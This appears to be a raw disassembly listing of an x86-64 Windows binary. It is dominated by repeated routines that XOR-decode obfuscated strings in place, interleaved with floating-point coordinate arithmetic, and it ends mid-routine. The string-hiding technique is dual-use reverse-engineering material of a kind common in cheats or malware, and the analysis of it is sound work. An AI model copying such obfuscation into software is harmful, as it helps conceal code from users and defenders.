andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1400623b0
lea rdx, [rbp + 0x74f]
mov qword [rbp - 0x28], r10
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], 0
call fcn.140069590
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x140062551
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140062516
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140062520
mov r9d, 4
mov dword [rsp + 0x20], 4
lea r8, [rbp - 0x40]
mov rcx, r10
lea rdx, [0x1401c0374]
call fcn.140039240
call fcn.1400381a0
lea rcx, [rbp + 0x380]
call fcn.140016f20
movss xmm6, dword [rax]
mulss xmm6, xmm8
call fcn.140004810
movaps xmm2, xmm11
lea rcx, [rbp + 0x388]
subss xmm6, dword [rax + 8]
addss xmm6, xmm10
movaps xmm1, xmm6
call fcn.140001850
lea rdx, [rbp + 0x773]
mov qword [rbp - 0x80], rax
lea rcx, [rbp - 0x44]
mov byte [rbp - 0x44], 0
call fcn.1400695b0
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x140062721
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400626e1
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1400626f0
mov rdx, qword [rbp - 0x80]
mov rcx, r10
call fcn.140035550
test al, al
je 0x14006274f
mov eax, dword [reloc.WS2_32.dll_accept]
test eax, eax
jne 0x140062744
mov byte [0x1401c2339], 1
jmp 0x14006274f
cmp eax, 1
jne 0x14006274f
mov byte [0x1401e2498], al
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.140016af0
lea rcx, [rbp + 0x390]
call fcn.140016f20
movss xmm6, dword [rax]
mulss xmm6, xmm8
call fcn.140004810
movaps xmm2, xmm11
lea rcx, [rbp + 0x398]
subss xmm6, dword [rax + 8]
addss xmm6, xmm10
movaps xmm1, xmm6
call fcn.140001850
lea rdx, [rbp + 0x8bb]
mov qword [rbp - 0x80], rax
lea rcx, [rbp - 0x58]
mov byte [rbp - 0x58], 0
call fcn.1400695d0
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x140062901
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400628c6
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1400628d0
mov rdx, qword [rbp - 0x80]
mov rcx, r10
call fcn.140035550
test al, al
je 0x14006300e
mov eax, dword [reloc.WS2_32.dll_accept]
test eax, eax
jne 0x14006292b
mov byte [0x1401c2339], 1
jmp 0x14006300e
cmp eax, 1
jne 0x140062c95
lea rdx, [rbp - 0x18]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069600
mov r10, rax
cmp byte [rax + 0x13], 0
je 0x140062ad1
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140062a98
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140062991
cmp r8d, 0x14
jge 0x140062ad1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x140062aa0
mov rcx, r10
call fcn.140056010
lea rdx, [rbp - 0x18]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069600
mov r10, rax
cmp byte [rax + 0x13], 0
je 0x140062c81
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140062c47
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140062b40
cmp r8d, 0x14
jge 0x140062c81
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x140062c50
mov rdx, r10
lea rcx, [0x1401c02a0]
call fcn.1400462d0
jmp 0x14006300e
cmp eax, 2
jne 0x140063002
lea rdx, [rbp - 0x18]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069600
mov r10, rax
cmp byte [rax + 0x13], 0
je 0x140062e41
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140062e07
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140062d00
cmp r8d, 0x14
jge 0x140062e41
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x140062e10
mov rcx, r10
call fcn.140056010
lea rdx, [rbp - 0x18]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069600
mov r10, rax
cmp byte [rax + 0x13], 0
je 0x140062ff1
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140062fb7
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140062eb0
cmp r8d, 0x14
jge 0x140062ff1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x140062fc0
mov rdx, r10
lea rcx, [0x1401c02a0]
call fcn.1400462d0
jmp 0x14006300e
cmp eax, 3
jne 0x14006300e
mov byte [0x1401c233f], 1
call fcn.14000c990
call fcn.1400170d0
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.140016af0
call fcn.140016f80
movss xmm0, dword [0x14017a870]
call fcn.140016c00
lea rcx, [rbp + 0x3a0]
call fcn.140016f20
movss xmm7, dword [rax + 4]
mulss xmm7, xmm8
addss xmm7, dword [0x14017a880]
call fcn.140004810
lea rcx, [rbp + 0x3a8]
movss xmm0, dword [rax + 0x50]
mulss xmm0, xmm8
subss xmm7, xmm0
subss xmm7, dword [0x14017a808]
call fcn.140016f20
movss xmm6, dword [rax]
mulss xmm6, xmm8
call fcn.140004810
movaps xmm2, xmm7
lea rcx, [rbp + 0x3b0]
movss xmm0, dword [rax + 0x4c]
mulss xmm0, xmm8
subss xmm6, xmm0
subss xmm6, dword [0x14017a85c]
movaps xmm1, xmm6
call fcn.140001850
lea rdx, [rbp + 0x824]
mov qword [rbp - 0x80], rax
lea rcx, [rbp - 0x57]
mov byte [rbp - 0x57], 0
call fcn.140069620
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140063221
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400631e5
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1400631f0
mov rdx, qword [rbp - 0x80]
xor r9d, r9d
xor r8d, r8d
mov rcx, r10
call fcn.14000c880
lea rdx, [rbp + 0x8ac]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.140069650
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x1400633a1
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140063364
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x140063370
lea rdx, [rbp + 0x72e]
mov qword [rbp + 0x188], r10
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], 0
call fcn.140069680
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x1400633f3
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor byte [rax + 9], 0x3d
xor cl, 0x3e
mov byte [rax + 0xa], cl
mov r9d, 1
mov dword [rsp + 0x20], 0
lea r8, [rbp + 0x188]
mov rcx, rax
lea rdx, [0x1401f6ddc]
call fcn.140039240
call fcn.1400381a0
lea rcx, [rbp + 0x3b8]
call fcn.140016f20
movss xmm6, dword [rax]
mulss xmm6, xmm8
call fcn.140004810
movaps xmm2, xmm11
lea rcx, [rbp + 0x3c0]
subss xmm6, dword [rax + 8]
addss xmm6, xmm10
movaps xmm1, xmm6
call fcn.140001850
lea rdx, [rbp - 0x18]
mov qword [rbp - 0x80], rax
lea rcx, [rbp - 0x56]
mov byte [rbp - 0x56], 0
call fcn.140069490
mov r10, rax
cmp byte [rax + 0x12], 0
je 0x1400635f1
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400635b9
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x1400634b2
cmp r8d, 0x13
jge 0x1400635f1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
